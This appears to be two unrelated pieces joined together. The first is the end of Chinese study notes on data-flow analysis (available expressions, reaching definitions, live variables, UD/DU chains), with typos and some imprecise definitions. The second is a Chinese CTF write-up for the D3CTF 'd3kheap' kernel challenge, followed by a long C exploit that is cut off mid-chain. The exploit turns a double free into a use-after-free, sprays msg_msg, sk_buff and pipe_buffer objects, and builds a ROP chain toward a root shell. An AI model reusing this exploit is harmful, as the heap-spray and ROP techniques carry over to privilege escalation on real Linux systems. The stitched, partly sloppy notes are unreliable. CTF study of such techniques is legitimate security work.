也就是说最终的labels会包含这六个表格的一个或两个或零个
整合起来就是Labels (Example) = {init(Example)} ∪ { l | ( l , l’ ) ∈ flow(Example) }
∪ { l’ | ( l , l’ ) ∈ flow(Example)}
### 可用表达式分析 Available Expressions Analysis
这个时候，我们完成了对一段代码块或者一个程序的代码逻辑上的一个分析与简化。接下来，我们对代码具体内容进行一个简化。
我们可以想象这样一种场景，当a+b被多次当作右式赋值给不同的变量，我们是否需要多次重复这一个算式运算。答案显然是不需要，只要计算一次结果，那么a+b的结果就已知了。但是这个时候又会出现另一种情况，当a或者b在流程中被改变了，那么a+b的值也会发生变化。那么我们究竟要不要对像a+b这样的多次重复表达式进行简化呢。我们又如何对他进行简化呢.
同样以一串简单代码为例
当语句1计算完a+b结果后，第一次3所代表的循环判断不需要被计算了，当4语句执行后5所代表的a+b需要被重新计算，而同时3所代表的循环判断又不需要进行计算了。
显然之前的描述方式中没有能够描述这样一个a+b变量的表达，但正如我们可以用v表达任一单一变量，我们可以用一个新的符号表示像a+b这样的作为整体可以看作是变量的变量运算。AExp就是人们想到的符号。同时，为了不忽视像
a 和 b 这样作为运算式成员的变量，我们用AExp(v)来表示这些变量。
接下来，我们要对a+b是否变化进行判断，当a或者b变化时，我们需要重新计算，也就是抛弃我们之前的计算，而在下一次计算时，我们会重新定义a+b的结果。
所以，我们对AExp的动作进行定义，kill和generate 即消灭和生成
由于分析器不能直观辨别出下一句代码是否会对a或者b进行操作，所以我们对每一句代码都要进行对AE
的定义，依照惯例，我们对每一句代码的开始和结束两个状态进行定义。AE entry ( l ) 和AE exit ( l )
以上面的代码为例子对AE entry 和AE exit 进行描述
对1描述如下： AE entry (1) = 空
AE exit (1) = gen AE (x:=a+b) ∪ AE entry (1)
对2描述如下： AE entry (2) = AE exit (1)
AE exit (2) = gen AE (y:=a*b) ∪ AE entry (2)
对3描述如下：AE entry (3) = AE exit (2) ∩ AE exit (5)
AE exit (3) = AE entry (3)
对4 描述如下： AE entry (4) = AE exit (3)
AE exit(4) = AE entry (4) \ kill AE (a+b , a*b , a+1)
对5描述如下： AE entry (5) = AE exit (4)
AE exit (5) = gen AE (x:=a+b) ∪ AE entry (5)
总结如下：
AE entry (l) = 空 （当 l = init(S) ） / ∩{AE exit (l’) | ( l’ , l ) ∈ flow (S) }
（其他情况）
AE exit (l) = (AE entry(l)\kill AE (B^l) ) ∪ gen AE (B^l)
### 结果表达式分析 （根据理解自己翻译的） Reaching Definition Analysis
kill和gen
除了能够描述可用表达式的生成与改变，也可以用于变量的生成与改变，从而判断程序结束时，变量最终结果。因此，我们参照上面对于可用表达式的描述以下面的代码为例对参数也进行相似的描述。
RD entry (1) = { (x,?) , (y,?) }
RD eixt (1) = RD entry (1) \ kill RD { (x,?) , (x,1) (x,5) } ∪ gen RD (x,1)
RD entry (2) = RD exit (1)
RD eixt (2) = RD entry (2) \ kill RD { (y,?) , (y,2) (y,4) } ∪ gen RD { (y,2)
}
RD entry (3) = RD exit (2) ∪ RD exit (5)
RD eixt (3) = RD entry (3)
RD entry (4) = RD exit (3)
RD eixt (4) = RD entry (4) \ kill RD { (y,?) , (y,2) (y,4) } ∪ gen RD { (y,4)
}
RD entry (5) = RD exit (4)
RD eixt (5) = RD entry (5) \ kill RD { (x,?) , (x,1) (x,5) } ∪ gen RD { (x,5)
}
这个时候我们就可以明确的知道程序最后每个变量的值是多少。
### 必定使用表达式分析 （个人理解的翻译） Very Busy Expressions Analysis
不知道大家有没有注意到，我们目前在数据流分析这一专题中举的例子都是while循环，没有出现过if。if和while有什么区别呢。while是真则做操作循环重复，if是真假各有分支，只做一次。也就是说针对while的可用表达式分析，对于if来说似乎并不是那么有用。
但是对于if来说是不是就不存在可重复使用的表达式呢。在某种情况下，还是存在的。比如说下图中的代码
无论a是否大于b ，a-b和b-a都会被使用，只不过赋给了不同的变量。在这一段代码中，与之前的while的单一输入多种输出不同，if相较于输出，输入更加具有不确定性。对于程序的分析而言，我们需要知道的就是那些输入会进入yes分支，那些会进入no分支，所以我们从输出向输入分析，也叫做逆流分析。
我们可以列出以下表达式：
VB entry (1) = VB exit (1)
VB entry (2) = VB exit (2) ∪ {b-a}
VB entry (3) = VB exit (3) ∪ {a-b}
VB entry (4) = VB exit (4) ∪ {b-a}
VB entry (5) = VB exit (5) ∪ {a-b}
由于 VB exit(5) 和 VB exit (3) 都是这一代码块的最终输出，对这一代码块的执行没有影响，所以VB exit(5) 和 VB exit
(3)都是空，也就是说，VB entry (3) = VB exit (3) ∪ {a-b}和VB entry (5) = VB exit (5) ∪
{a-b}都可以改写为 VB entry (3) = {a-b} ， entry (5) = {a-b}
同样的，我们对VB exit (l) 进行定义：
VB exit (1) = VB entry (2) ∩ VB entry (4)
VB exit (2) = VB entry (3)
VB exit (3) = 空
VB exit (4) = VB entry (5)
VB exit (5) = 空
### 活变量分析 Live Variables Analysis
活变量是在使用之前只经过一次定义赋值的变量。分析活变量有什么意义呢？
我们先分析一下再做评论。以下图代码为例：
上面的代码具有一个输入两个分支以及一个必定使用的表达式的特征，正向分析和逆向分析都可以，我们也可以对比一下两者的不同。
正向分析：
LV entry (1) = 空
LV exit (1) = LV entry (1) ∪ gen LV (x:=2)
LV entry (2) = LV exit (1)
LV exit (2) = LV entry (2) ∪ gen LV (y:=4)
LV entry (3) = LV exit (2)
LV exit (3) = LV entry (3) \ kill LV (x:=2) ∪ gen LV (x:=1)
LV entry (4) = LV exit (3)
LV exit (4) = LV entry (4)
LV entry (5) = LV exit (4)
LV exit (5) = LV entry (5) ∪ gen LV (z:=y)
LV entry (6) = LV exit (4)
LV exit (6) = LV entry (6) ∪ gen LV (z:=y*y)
LV entry (7) = LV exit (5) ∪ LV exit (6)
LV exit (7) = LV entry (7) \ kill LV (x:=2,x:=1) ∪ gen LV (x:=z)
逆向分析：
LV entry (1) = LV exit (1) \ kill LV (x:=2)
LV exit (1) = LV entry (2)
LV entry (2) = LV exit (2) \ kill LV (y:=4)
LV exit (2) = LV entry (3)
LV entry (3) = LV exit (3) \ kill LV (x:=1)
LV exit (3) = LV entry (4)
LV entry (4) = LV exit (4)
LV exit (4) = LV entry (5) ∪ LV entry (6)
LV entry (5) = LV exit (5) \ kill LV (z:=y)
LV exit (5) = LV entry (7)
LV entry (6) = LV exit (4) \ kill LV (z:=y*y)
LV exit (6) = LV entry (7)
LV entry (7) = LV exit (7) \kill LV (x:=z)
LV exit (7) = 空
我们可以清晰的看到无论是流还是逆流，我们的入口都是空，其余的方程关系都可以通过移项实现转换，而不同之处就在于我们需要找的是入口的可能性还是出口的可能性。
接下来，我们要对方程进行化简。对于LV exit 我们不需要对形式化简，只需要求出LV entry。对于LV entry
我们忽视赋值表达式的右值的计算，只在意左值和右值分别使用的变量名。左值用 \ 右值用 ∪ 。我们可以对LV entry 进行如下改写：
LV entry (1) = LV exit (1) \ {x}
LV entry (2) = LV exit (2) \ {y}
LV entry (3) = LV exit (3) \ {x}
LV entry (4) = LV exit (4) ∪ {x,y}
LV entry (5) = LV exit (5) \ {z} ∪ {y}
LV entry (6) = LV exit (6) \ {z} ∪ {y}
LV entry (7) = LV exit (7) \ {x} ∪ {z}
再将 LV entry 和 LV exit 整合得到最简表示
LV entry (7) = {z}
LV entry (6) = {y}
LV entry (5) = {y}
LV entry (4) = {y} ∪{x,y}
LV entry (3) = {y}
LV entry (2) = 空
LV entry (1) = 空
LV exit (7) = 空
LV exit (6) = {z}
LV exit (5) = {z}
LV exit (4) = {y}
LV exit (3) = {y} ∪{x,y}
LV exit (2) = {y}
LV exit (1) = 空
这时我们可以看到第一句代码对这个程序没有任何影响，也就是说是一句可去代码。这也就是分析活变量的意义：找出死代码去除，简化程序。
### 派生数据流信息 Derived Data Flow Information
经过上面的活变量分析，我们可以发现实质上，活变量分析就是寻找定义和使用之间是否还含有重定义，如果有，那么这个定义就可以省略，而离使用最近的定义就是唯一有用的定义。既然如此，我们可以将定义和使用建立连接，从而对程序进行简化。
我们将定义连接使用称作UD chain 使用连接定义称作DU chain，将定义到使用的代码块用clear表示，clear 是包含 变量v ， 定义语句标签
l ，使用语句标签 l’ 的一个函数。
我们用use(x,l) 表示 x在标签为 l 的代码中被使用，def(x,l) 表示 x 在标签为x 的代码中被定义。
以下图为例理解UD链和DU链
首先给出通用表达式
ud(x,l’) = { l | def (x,l) ^ ヨl’‘ : (l,l’’) ∈ flow(S) ^ clear (x,l’’,l’)} ∪ {?
| clear(x,init(S),l’)}
寻找第l’ 的x是在哪里定义的，只需要找在S中的第一句到 l’ 的语句中是否存在定义，同时在那一句之后到 l’ 是否没有被重定义。也就是表示为{ l |
def (x,l) ^ ヨl’‘ : (l,l’’) ∈ flow(S) ^ clear (x,l’’,l’)}
。如果从第一句开始，这个变量就没有被定义，那么这个变量就是在S之前的某一句定义的，也就是{? | clear(x,init(S),l’)}。ud的 l’
是一句运算表达式 。l是运算表达式用到的变量的定义式
同样的给出DU链表达式
du(x,l) = {l’ | def (x,l) ^ ヨ l’’ : (l,l’’) ∈ flow(S) ^ clear (x,l’’,l’) }
当l不等于？时
l 是一句定义句 ，从当前句往后找符合在S 中同时使用了x的 l‘ 记录
当 l 等于 ？ 时 du(x,l) = {l’ | clear(x,init(S),l’)}
也就是针对S中使用但是没有在S中定义的变量所在语句。
从特殊的du(x,?)和使用x的那一句代码对应的 ud(x,l’) 我们可以清楚的看到du和ud的关系： du(x,l) = { l’ | l ∈
ud(x,l’)}
最后给出上述例子的ud链和du链的表格，以提供读者验证。 | 社区文章 |
# 0x00.一切开始之前
今年 D3CTF 的一道 kernel pwn 题，赛后笔者仔细研究了下，相比起出题人最初提供的使用 setxattr 多次篡改 `msg_msg`
的方法而言，这道题其实还可以套用 CVE-2021-22555 的堆喷 `msg_msg` 与 `sk_buff` 的解法，成功率更高也更加稳定
# 0x01.题目分析
题目还是按惯例给了一个内核模块，其中只有 ioctl 功能是有用的，简单分析可以知道其中有用的仅为 `0x1234` 与 `0xdead`
两个功能，对应着分配 buf 与释放 buf，在分配时会先判断 buf 是否为 NULL 因此我们不能重复分配，完成分配后 `ref_count`
会加一，而在释放时 `ref_count` 会减一
漏洞其实就出现在这里，其判断 buf 是否被释放依靠的是 `reff_count` 而并非 buf 指针，且在释放后未将 buf 置 NULL， **而
ref_count 被错误地初始化为 1，这使得我们可以释放 buf 两次**
# 0x02.漏洞利用
因为在 slub_free 中有着对 double free 的简单检查（类似于 glibc 中的 fastbin，会检查 freelist 指向的第一个
object），因此我们不能够直接进行 double free，而应该将其转化为 UAF 进行利用
## Pre. 构造 UAF
我们首先需要构造一个 UAF，我们不难想到如下利用链：
* 分配一个 1024 大小的 object
* 释放该 object
* 将其分配到别的结构体（victim）上
* 释放该 object
此时 victim 虽然还处在使用阶段，但是 **在 slub 中其同时也被视为一个 free object** ，我们此时便完成了 UAF 的构造，由于
slub 遵循 LIFO，因此接下来分配的第一个大小为 1024 的 object **便会是 victim**
## Step.I 堆喷 `msg_msg` ，建立主从消息队列
既然我们现在有了一个UAF的机会，那么选用什么样的结构体作为 victim 呢？这里我们选择使用 `msg_msg` 这一结构体：
/* one msg_msg structure for each message */
struct msg_msg {
struct list_head m_list;
long m_type;
size_t m_ts; /* message text size */
struct msg_msgseg *next;
void *security;
/* the actual message follows immediately */
};
当我们在一个消息队列上发送多个消息时，会形成如下结构：
我们不难想到的是，我们可以在一开始时先通过 d3kheap 设备提供的功能 **先获取一个 object 后释放**
，之后堆喷多个消息队列，并分别在每一个消息队列上发送两条消息，形成如下内存布局，这里为了便利后续利用，第一条消息（主消息）的大小为
96，第二条消息（辅助消息）的大小为 0x400：
此时 **我们的辅助消息便有极大的概率获取到之前释放的 object**
> 利用 `MSG_COPY`
> 标志位可以读取消息队列上的消息而不释放，参见[这里](https://arttnba3.cn/2021/11/29/NOTE-0X08-LINUX-> KERNEL-PWN-PART-> IV/#0x07-system-V-%E6%B6%88%E6%81%AF%E9%98%9F%E5%88%97%EF%BC%9A%E5%86%85%E6%A0%B8%E4%B8%AD%E7%9A%84%E2%80%9C%E8%8F%9C%E5%8D%95%E5%A0%86%E2%80%9D)
## Step.II 构造 UAF，堆喷 `sk_buff` 定位 victim 队列
此时我们直接利用题目的功能将辅助消息释放掉，便能成功完成 UAF 的构建，此时 **我们仍能通过其中一个消息队列访问到该辅助消息对应
object，但实际上这个 object 已经在 freelist 上了**
但此时我们无法得知是哪一个消息队列命中了 UAF object，这个时候我们选用 `sk_buff` 堆喷劫持该结构体
类似于 `msg_msg`，其同样可以提供近乎任意大小对象的分配写入与释放，但不同的是 `msg_msg` 由一个 header 加上用户数据组成，而
`sk_buff` 本身不包含任何用户数据， **用户数据单独存放在一个 object 当中，而 sk_buff 中存放指向用户数据的指针**
至于这个结构体的分配与释放也是十分简单， **sk_buff 在内核网络协议栈中代表一个「包」，** 我们不难想到的是 **我们只需要创建一对
socket，在上面发送与接收数据包就能完成 sk_buff 的分配与释放** ，最简单的办法便是用 socketpair 系统调用创建一对
socket，之后对其 read & write 便能完成收发包的工作
那么我们利用 `sk_buff` 堆喷向这个 UAF object 中写入什么数据呢？其实这里我们可以随便写入一些内容，之后我们使用 `MSG_COPY`
flag 进行消息拷贝时便会失败，但不会 kernel panic， **因此我们可以通过判断是否读取消息失败来定位命中 UAF 的消息队列**
## Step.III 堆喷 `sk_buff` 伪造辅助消息，泄露 UAF obj 地址
接下来我们考虑如何继续利用这个 UAF，由于其位于消息队列上，所以我们可以利用消息队列的性质来完成利用
首先我们考虑如何通过伪造 `msg_msg` 结构体完成信息泄露，我们不难想到的是可以伪造一个 `msg_msg` 结构体，将其 `m_ts`
域设为一个较大值， **从而越界读取到相邻辅助消息的 header，泄露出堆上地址**
我们泄露出来的是哪个地址？让我们重新将目光放回到消息队列的结构上：
我们不难知道的是，该辅助消息的 prev 指针指向其主消息，而该辅助消息的 next 指针指向该消息队列的 `msg_queue`
结构，这是目前我们已知的两个“堆上地址”
接下来我们伪造 `msg_msg->next`， **将其指向我们的 UAF object
相邻的辅助消息对应的主消息头部往前，从而读出该主消息的头部，泄露出对应的辅助消息的地址** ，有了这个辅助消息的地址，再减去 0x400 **便是我们的
UAF 对象的地址**
> 通过伪造 msg_msg->next
> 可以完成任意地址读，参见[这里](https://arttnba3.cn/2021/11/29/NOTE-0X08-LINUX-KERNEL-PWN-> PART-> IV/#0x07-system-V-%E6%B6%88%E6%81%AF%E9%98%9F%E5%88%97%EF%BC%9A%E5%86%85%E6%A0%B8%E4%B8%AD%E7%9A%84%E2%80%9C%E8%8F%9C%E5%8D%95%E5%A0%86%E2%80%9D)
## Step.IV 堆喷 `pipe_buffer`，泄露内核基址
现在我们已知了可控区域的地址，接下来让我们来考虑泄露内核 .text 段的基址，以及如何劫持 RIP 完成提权
之前我们为什么将辅助消息的大小设为 0x400？除了方便对齐以外，还有一层考虑就是这个大小刚好有一个十分实用的结构体 `pipe_buffer` 数组，
**既能帮我们泄露内核代码段基址，也能帮我们劫持 RIP**
当我们创建一个管道时，在内核中会生成数个连续的 `pipe_buffer` 结构体，申请的内存总大小刚好会让内核从 kmalloc-1k 中取出一个
object
/**
* struct pipe_buffer - a linux kernel pipe buffer
* @page: the page containing the data for the pipe buffer
* @offset: offset of data inside the @page
* @len: length of data inside the @page
* @ops: operations associated with this buffer. See @pipe_buf_operations.
* @flags: pipe buffer flags. See above.
* @private: private data owned by the ops.
**/
struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};
在 `pipe_buffer` 中存在一个函数表成员 `pipe_buf_operations` ，其指向内核中的函数表
`anon_pipe_buf_ops`，若我们能够将其读出，便能泄露出内核基址，操作如下：
* 利用 `sk_buff` 修复辅助消息，之后从消息队列中接收该辅助消息，此时该 object 重回 slub 中，但 `sk_buff` 仍指向该 object
* 喷射 `pipe_buffer`，之后再接收 `sk_buff` 数据包， **我们便能读出 pipe_buffer 上数据，泄露内核基址**
## Step.V 伪造 pipe_buffer，构造 ROP，劫持 RIP，完成提权
当我们关闭了管道的两端时，会触发 `pipe_buffer->pipe_buffer_operations->release` 这一指针，而 UAF
object 的地址对我们而言是已知的，因此 **我们可以直接利用 sk_buff 在 UAF object 上伪造函数表与构造 ROP
chain，再选一条足够合适的 gadget 完成栈迁移便能劫持 RIP 完成提权**
## Final EXPLOIT
最终的 exp 如下：
#define _GNU_SOURCE
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#define PRIMARY_MSG_SIZE 96
#define SECONDARY_MSG_SIZE 0x400
#define PRIMARY_MSG_TYPE 0x41
#define SECONDARY_MSG_TYPE 0x42
#define VICTIM_MSG_TYPE 0x1337
#define MSG_TAG 0xAAAAAAAA
#define SOCKET_NUM 16
#define SK_BUFF_NUM 128
#define PIPE_NUM 256
#define MSG_QUEUE_NUM 4096
#define OBJ_ADD 0x1234
#define OBJ_EDIT 0x4321
#define OBJ_SHOW 0xbeef
#define OBJ_DEL 0xdead
#define PREPARE_KERNEL_CRED 0xffffffff810d2ac0
#define INIT_CRED 0xffffffff82c6d580
#define COMMIT_CREDS 0xffffffff810d25c0
#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff81c00ff0
#define POP_RDI_RET 0xffffffff810938f0
#define ANON_PIPE_BUF_OPS 0xffffffff8203fe40
#define FREE_PIPE_INFO 0xffffffff81327570
#define POP_R14_POP_RBP_RET 0xffffffff81003364
#define PUSH_RSI_POP_RSP_POP_4VAL_RET 0xffffffff812dbede
#define CALL_RSI_PTR 0xffffffff8105acec
size_t user_cs, user_ss, user_sp, user_rflags;
size_t kernel_offset, kernel_base = 0xffffffff81000000;
size_t prepare_kernel_cred, commit_creds, swapgs_restore_regs_and_return_to_usermode, init_cred;
long dev_fd;
int pipe_fd[2], pipe_fd2[2], pipe_fd_1;
/*
* skb_shared_info need to take 320 bytes at the tail
* so the max size of buf we should send is:
* 1024 - 320 = 704
*/
char fake_secondary_msg[704];
void add(void)
{
ioctl(dev_fd, OBJ_ADD);
}
void del(void)
{
ioctl(dev_fd, OBJ_DEL);
}
size_t user_cs, user_ss, user_sp, user_rflags;
void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}
struct list_head
{
uint64_t next;
uint64_t prev;
};
struct msg_msg
{
struct list_head m_list;
uint64_t m_type;
uint64_t m_ts;
uint64_t next;
uint64_t security;
};
struct msg_msgseg
{
uint64_t next;
};
struct
{
long mtype;
char mtext[PRIMARY_MSG_SIZE - sizeof(struct msg_msg)];
}primary_msg;
struct
{
long mtype;
char mtext[SECONDARY_MSG_SIZE - sizeof(struct msg_msg)];
}secondary_msg;
struct
{
long mtype;
char mtext[0x1000 - sizeof(struct msg_msg) + 0x1000 - sizeof(struct msg_msgseg)];
} oob_msg;
struct pipe_buffer
{
uint64_t page;
uint32_t offset, len;
uint64_t ops;
uint32_t flags;
uint32_t padding;
uint64_t private;
};
struct pipe_buf_operations
{
uint64_t confirm;
uint64_t release;
uint64_t try_steal;
uint64_t get;
};
void errExit(char *msg)
{
printf("\033[31m\033[1m[x] Error: %s\033[0m\n", msg);
exit(EXIT_FAILURE);
}
int readMsg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
return msgrcv(msqid, msgp, msgsz - sizeof(long), msgtyp, 0);
}
int writeMsg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
*(long*)msgp = msgtyp;
return msgsnd(msqid, msgp, msgsz - sizeof(long), 0);
}
int peekMsg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
return msgrcv(msqid, msgp, msgsz - sizeof(long), msgtyp, MSG_COPY | IPC_NOWAIT);
}
void buildMsg(struct msg_msg *msg, uint64_t m_list_next,
uint64_t m_list_prev, uint64_t m_type, uint64_t m_ts,
uint64_t next, uint64_t security)
{
msg->m_list.next = m_list_next;
msg->m_list.prev = m_list_prev;
msg->m_type = m_type;
msg->m_ts = m_ts;
msg->next = next;
msg->security = security;
}
int spraySkBuff(int sk_socket[SOCKET_NUM][2], void *buf, size_t size)
{
for (int i = 0; i < SOCKET_NUM; i++)
for (int j = 0; j < SK_BUFF_NUM; j++)
{
// printf("[-] now %d, num %d\n", i, j);
if (write(sk_socket[i][0], buf, size) < 0)
return -1;
}
return 0;
}
int freeSkBuff(int sk_socket[SOCKET_NUM][2], void *buf, size_t size)
{
for (int i = 0; i < SOCKET_NUM; i++)
for (int j = 0; j < SK_BUFF_NUM; j++)
if (read(sk_socket[i][1], buf, size) < 0)
return -1;
return 0;
}
void getRootShell(void)
{
if (getuid())
errExit("failed to gain the root!");
printf("\033[32m\033[1m[+] Succesfully gain the root privilege, trigerring root shell now...\033[0m\n");
system("/bin/sh");
}
int main(int argc, char **argv, char **envp)
{
int oob_pipe_fd[2];
int sk_sockets[SOCKET_NUM][2];
int pipe_fd[PIPE_NUM][2];
int msqid[MSG_QUEUE_NUM];
int victim_qid, real_qid;
struct msg_msg *nearby_msg;
struct msg_msg *nearby_msg_prim;
struct pipe_buffer *pipe_buf_ptr;
struct pipe_buf_operations *ops_ptr;
uint64_t victim_addr;
uint64_t kernel_base;
uint64_t kernel_offset;
uint64_t *rop_chain;
int rop_idx;
cpu_set_t cpu_set;
saveStatus();
/*
* Step.O
* Initialization
*/
// run the exp on specific core only
CPU_ZERO(&cpu_set);
CPU_SET(0, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
// socket pairs to spray sk_buff
for (int i = 0; i < SOCKET_NUM; i++)
if (socketpair(AF_UNIX, SOCK_STREAM, 0, sk_sockets[i]) < 0)
errExit("failed to create socket pair!");
dev_fd = open("/dev/d3kheap", O_RDONLY);
/*
* Step.I
* build msg_queue, spray primary and secondary msg_msg,
* and use OOB write to construct the overlapping
*/
puts("\n\033[34m\033[1m[*] Step.I spray msg_msg, construct overlapping object\033[0m");
puts("[*] Build message queue...");
// build 4096 message queue
for (int i = 0; i < MSG_QUEUE_NUM; i++)
{
if ((msqid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) < 0)
errExit("failed to create msg_queue!");
}
puts("[*] Spray primary and secondary msg_msg...");
memset(&primary_msg, 0, sizeof(primary_msg));
memset(&secondary_msg, 0, sizeof(secondary_msg));
// get a free object
add();
// spray primary and secondary message
for (int i = 0; i < MSG_QUEUE_NUM; i++)
{
*(int *)&primary_msg.mtext[0] = MSG_TAG;
*(int *)&primary_msg.mtext[4] = i;
if (writeMsg(msqid[i], &primary_msg,
sizeof(primary_msg), PRIMARY_MSG_TYPE) < 0)
errExit("failed to send primary msg!");
*(int *)&secondary_msg.mtext[0] = MSG_TAG;
*(int *)&secondary_msg.mtext[4] = i;
if (writeMsg(msqid[i], &secondary_msg,
sizeof(secondary_msg), SECONDARY_MSG_TYPE) < 0)
errExit("failed to send secondary msg!");
if (i == 1024)
del();
}
/*
* Step.II
* construct UAF
*/
puts("\n\033[34m\033[1m[*] Step.II construct UAF\033[0m");
// free the victim secondary msg_msg, then we get a UAF
puts("[*] Trigger UAF...");
del();
// spray sk_buff to mark the UAF msg_msg
puts("[*] spray sk_buff...");
buildMsg((struct msg_msg *)fake_secondary_msg,
*(uint64_t*)"arttnba3", *(uint64_t*)"arttnba3",
*(uint64_t*)"arttnba3", SECONDARY_MSG_SIZE, 0, 0);
if (spraySkBuff(sk_sockets, fake_secondary_msg,
sizeof(fake_secondary_msg)) < 0)
errExit("failed to spray sk_buff!");
// find out the UAF queue
victim_qid = -1;
for (int i = 0; i < MSG_QUEUE_NUM; i++)
{
/*
* the msg_msg got changed, so we can't read out
* but it tells us which one the victim is
*/
if (peekMsg(msqid[i], &secondary_msg, sizeof(secondary_msg), 1) < 0)
{
printf("[+] victim qid: %d\n", i);
victim_qid = i;
}
}
if (victim_qid == -1)
errExit("failed to make the UAF in msg queue!");
if (freeSkBuff(sk_sockets, fake_secondary_msg,
sizeof(fake_secondary_msg)) < 0)
errExit("failed to release sk_buff!");
puts("\033[32m\033[1m[+] UAF construction complete!\033[0m");
/*
* Step.III
* spray sk_buff to leak msg_msg addr
* construct fake msg_msg to leak addr of UAF obj
*/
puts("\n\033[34m\033[1m[*] Step.III spray sk_buff to leak kheap addr\033[0m");
// spray sk_buff to construct fake msg_msg
puts("[*] spray sk_buff...");
buildMsg((struct msg_msg *)fake_secondary_msg,
*(uint64_t*)"arttnba3", *(uint64_t*)"arttnba3",
VICTIM_MSG_TYPE, 0x1000 - sizeof(struct msg_msg), 0, 0);
if (spraySkBuff(sk_sockets, fake_secondary_msg,
sizeof(fake_secondary_msg)) < 0)
errExit("failed to spray sk_buff!");
// use fake msg_msg to read OOB
puts("[*] OOB read from victim msg_msg");
if (peekMsg(msqid[victim_qid], &oob_msg, sizeof(oob_msg), 1) < 0)
errExit("failed to read victim msg!");
if (*(int *)&oob_msg.mtext[SECONDARY_MSG_SIZE] != MSG_TAG)
errExit("failed to rehit the UAF object!");
nearby_msg = (struct msg_msg*)
&oob_msg.mtext[(SECONDARY_MSG_SIZE) - sizeof(struct msg_msg)];
printf("\033[32m\033[1m[+] addr of primary msg of msg nearby victim: \033[0m%llx\n",
nearby_msg->m_list.prev);
// release and re-spray sk_buff to construct fake msg_msg
// so that we can make an arbitrary read on a primary msg_msg
if (freeSkBuff(sk_sockets, fake_secondary_msg,
sizeof(fake_secondary_msg)) < 0)
errExit("failed to release sk_buff!");
buildMsg((struct msg_msg *)fake_secondary_msg,
*(uint64_t*)"arttnba3", *(uint64_t*)"arttnba3",
VICTIM_MSG_TYPE, sizeof(oob_msg.mtext),
nearby_msg->m_list.prev - 8, 0);
if (spraySkBuff(sk_sockets, fake_secondary_msg,
sizeof(fake_secondary_msg)) < 0)
errExit("failed to spray sk_buff!");
puts("[*] arbitrary read on primary msg of msg nearby victim");
if (peekMsg(msqid[victim_qid], &oob_msg, sizeof(oob_msg), 1) < 0)
errExit("failed to read victim msg!");
if (*(int *)&oob_msg.mtext[0x1000] != MSG_TAG)
errExit("failed to rehit the UAF object!");
// cal the addr of UAF obj by the header we just read out
nearby_msg_prim = (struct msg_msg*)
&oob_msg.mtext[0x1000 - sizeof(struct msg_msg)];
victim_addr = nearby_msg_prim->m_list.next - 0x400;
printf("\033[32m\033[1m[+] addr of msg next to victim: \033[0m%llx\n",
nearby_msg_prim->m_list.next);
printf("\033[32m\033[1m[+] addr of msg UAF object: \033[0m%llx\n", victim_addr);
/*
* Step.IV
* fix the header of UAF obj and release it
* spray pipe_buffer and leak the kernel base
*/
puts("\n\033[34m\033[1m[*] Step.IV spray pipe_buffer to leak kernel base\033[0m");
// re-construct the msg_msg to fix it
puts("[*] fixing the UAF obj as a msg_msg...");
if (freeSkBuff(sk_sockets, fake_secondary_msg,
sizeof(fake_secondary_msg)) < 0)
errExit("failed to release sk_buff!");
memset(fake_secondary_msg, 0, sizeof(fake_secondary_msg));
buildMsg((struct msg_msg *)fake_secondary_msg,
victim_addr + 0x800, victim_addr + 0x800, // a valid kheap addr is valid
VICTIM_MSG_TYPE, SECONDARY_MSG_SIZE - sizeof(struct msg_msg),
0, 0);
if (spraySkBuff(sk_sockets, fake_secondary_msg,
sizeof(fake_secondary_msg)) < 0)
errExit("failed to spray sk_buff!");
// release UAF obj as secondary msg
puts("[*] release UAF obj in message queue...");
if (readMsg(msqid[victim_qid], &secondary_msg,
sizeof(secondary_msg), VICTIM_MSG_TYPE) < 0)
errExit("failed to receive secondary msg!");
// spray pipe_buffer
puts("[*] spray pipe_buffer...");
for (int i = 0; i < PIPE_NUM; i++)
{
if (pipe(pipe_fd[i]) < 0)
errExit("failed to create pipe!");
// write something to activate it
if (write(pipe_fd[i][1], "arttnba3", 8) < 0)
errExit("failed to write the pipe!");
}
// release the sk_buff to read pipe_buffer, leak kernel base
puts("[*] release sk_buff to read pipe_buffer...");
pipe_buf_ptr = (struct pipe_buffer *) &fake_secondary_msg;
for (int i = 0; i < SOCKET_NUM; i++)
{
for (int j = 0; j < SK_BUFF_NUM; j++)
{
if (read(sk_sockets[i][1], &fake_secondary_msg,
sizeof(fake_secondary_msg)) < 0)
errExit("failed to release sk_buff!");
if (pipe_buf_ptr->ops > 0xffffffff81000000)
{
printf("\033[32m\033[1m[+] got anon_pipe_buf_ops: \033[0m%llx\n",
pipe_buf_ptr->ops);
kernel_offset = pipe_buf_ptr->ops - ANON_PIPE_BUF_OPS;
kernel_base = 0xffffffff81000000 + kernel_offset;
}
}
}
printf("\033[32m\033[1m[+] kernel base: \033[0m%llx \033[32m\033[1moffset: \033[0m%llx\n",
kernel_base, kernel_offset);
/*
* Step.V
* hijack the ops of pipe_buffer
* free all pipe to trigger fake ptr
* so that we hijack the RIP
* construct a ROP on pipe_buffer
*/
puts("\n\033[34m\033[1m[*] Step.V hijack the ops of pipe_buffer, gain root privilege\033[0m");
puts("[*] pre-construct data in userspace...");
pipe_buf_ptr = (struct pipe_buffer *) fake_secondary_msg;
pipe_buf_ptr->page = *(uint64_t*) "arttnba3";
pipe_buf_ptr->ops = victim_addr + 0x100;
ops_ptr = (struct pipe_buf_operations *) &fake_secondary_msg[0x100];
ops_ptr->release = PUSH_RSI_POP_RSP_POP_4VAL_RET + kernel_offset;
rop_idx = 0;
rop_chain = (uint64_t*) &fake_secondary_msg[0x20];
rop_chain[rop_idx++] = kernel_offset + POP_RDI_RET;
rop_chain[rop_idx++] = kernel_offset + INIT_CRED;
